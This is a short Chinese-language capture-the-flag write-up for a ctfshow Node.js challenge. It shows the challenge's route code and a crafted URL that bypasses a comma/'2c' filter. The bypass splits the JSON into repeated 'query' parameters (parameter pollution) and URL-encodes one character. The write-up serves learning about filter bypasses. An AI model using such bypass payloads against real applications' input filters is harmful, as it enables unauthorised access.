代码
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query);if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});
即 url 中不能包含大小写 8c、2c 和 逗号
先构造一个正常请求
/?query={"name":"admin","password":"ctfshow","isVIP":true}
发现题目会过滤掉逗号,尝试 URL 编码, urlencode(",") = %2c 发现 2c 也被过滤
HTTP协议中允许同名参数出现多次,不同服务端对同名参数处理都是不一样的,下面链接列举了一些
https://www.cnblogs.com/AtesetEnginner/p/12375499.html
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析。
因此构造
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
这里把 c进行url编码,是因为 双引号 的url编码是 %22,和 c 连接起来就是 %22c,会匹配到正则表达式。
